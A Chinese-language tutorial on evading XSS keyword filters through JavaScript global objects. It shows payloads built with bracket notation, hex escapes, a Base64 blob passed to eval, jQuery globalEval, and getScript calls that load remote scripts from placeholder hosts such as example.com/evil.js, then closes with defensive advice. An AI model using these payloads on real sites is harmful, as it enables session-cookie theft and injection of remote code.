使用JavaScript全局变量绕过XSS过滤器
字数 802 2025-08-26 22:11:51

JavaScript全局变量绕过XSS过滤器技术详解

1. JavaScript全局变量基础

JavaScript全局变量是在函数外部声明或使用Window对象声明的变量,任何函数都可以访问它。在XSS攻击中,我们可以利用以下全局对象:

  • window / self - 引用当前窗口
  • this - 在全局作用域中指向window对象
  • top - 最顶层窗口对象
  • parent - 父窗口对象
  • frames - 框架集合

基本绕过示例

假设有以下易受攻击的PHP代码:

echo "<script> var message = 'Hello ".$_GET["name"]."'; alert(message);</script>";

如果过滤器阻止document.cookie,可以使用以下方式绕过:

window["document"]["cookie"]
self["document"]["cookie"]
top["document"]["cookie"]

2. 字符串连接技术

基本字符串连接

self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"])

十六进制转义序列

console.log("\x68\x65\x6c\x6c\x6f") // 输出"hello"

应用在XSS中:

self["\x61\x6c\x65\x72\x74"](self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x6f\x6f\x6b\x69\x65"])

3. 使用eval和Base64编码

基本eval使用

self["\x65\x76\x61\x6c"]("alert('XSS')")

Base64编码结合eval

self["\x65\x76\x61\x6c"](self["\x61\x74\x6f\x62"]("dmFyIGhlYWQgPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaGVhZCcpLml0ZW0oMCk7dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpO3NjcmlwdC5zZXRBdHRyaWJ1dGUoJ3R5cGUnLCAndGV4dC9qYXZhc2NyaXB0Jyk7c2NyaXB0LnNldEF0dHJpYnV0ZSgnc3JjJywgJ2h0dHA6Ly9leGFtcGxlLmNvbS9teS5qcycpO2hlYWQuYXBwZW5kQ2hpbGQoc2NyaXB0KTs="))

解码后的Base64内容:

var head = document.getElementsByTagName('head').item(0);
var script = document.createElement('script');
script.setAttribute('type', 'text/javascript');
script.setAttribute('src','http://example.com/my.js');
head.appendChild(script);

4. jQuery相关技术

使用globalEval

self["$"]["globalEval"]("alert('XSS')")

使用getScript加载外部脚本

self["$"]["getScript"]("http://example.com/evil.js")

5. 高级对象遍历技术

使用Object.keys获取函数索引

c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; }

使用索引调用函数:

self[Object.keys(self)[5]]("foo") // 假设alert是第5个属性

自动查找函数索引

a = function() {
  c=0;
  for(i in self) {
    if(/^a[rel]+t$/.test(i)) {
      return c;
    }
    c++;
  }
}
// 使用
self[Object.keys(self)[a()]]("foo")

箭头函数简化版:

a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}}

6. 注释干扰技术

在代码中插入注释可以进一步绕过过滤器:

(/* comment */self/* foo */)[/*bar*/"alert"/**/]("yo")

7. 防御建议

  1. 输入验证:严格验证所有用户输入,使用白名单而非黑名单
  2. 输出编码:根据输出上下文进行适当的编码
  3. 内容安全策略(CSP):实施严格的CSP策略
  4. 避免动态代码执行:避免使用eval()、setTimeout()等可以执行字符串作为代码的函数
  5. 使用现代框架:如React、Vue等具有内置XSS防护的框架

8. 总结

通过JavaScript全局变量,攻击者可以:

  • 使用多种方式访问被过滤的函数和属性
  • 通过字符串连接和编码绕过关键字检测
  • 利用对象遍历技术动态发现和调用函数
  • 结合注释和混淆技术增加检测难度

防御者需要采取多层次的安全措施,而不仅仅是依赖简单的关键字过滤。

JavaScript全局变量绕过XSS过滤器技术详解 1. JavaScript全局变量基础 JavaScript全局变量是在函数外部声明或使用Window对象声明的变量,任何函数都可以访问它。在XSS攻击中,我们可以利用以下全局对象: window / self - 引用当前窗口 this - 在全局作用域中指向window对象 top - 最顶层窗口对象 parent - 父窗口对象 frames - 框架集合 基本绕过示例 假设有以下易受攻击的PHP代码: 如果过滤器阻止 document.cookie ,可以使用以下方式绕过: 2. 字符串连接技术 基本字符串连接 十六进制转义序列 应用在XSS中: 3. 使用eval和Base64编码 基本eval使用 Base64编码结合eval 解码后的Base64内容: 4. jQuery相关技术 使用globalEval 使用getScript加载外部脚本 5. 高级对象遍历技术 使用Object.keys获取函数索引 使用索引调用函数: 自动查找函数索引 箭头函数简化版: 6. 注释干扰技术 在代码中插入注释可以进一步绕过过滤器: 7. 防御建议 输入验证 :严格验证所有用户输入,使用白名单而非黑名单 输出编码 :根据输出上下文进行适当的编码 内容安全策略(CSP) :实施严格的CSP策略 避免动态代码执行 :避免使用eval()、setTimeout()等可以执行字符串作为代码的函数 使用现代框架 :如React、Vue等具有内置XSS防护的框架 8. 总结 通过JavaScript全局变量,攻击者可以: 使用多种方式访问被过滤的函数和属性 通过字符串连接和编码绕过关键字检测 利用对象遍历技术动态发现和调用函数 结合注释和混淆技术增加检测难度 防御者需要采取多层次的安全措施,而不仅仅是依赖简单的关键字过滤。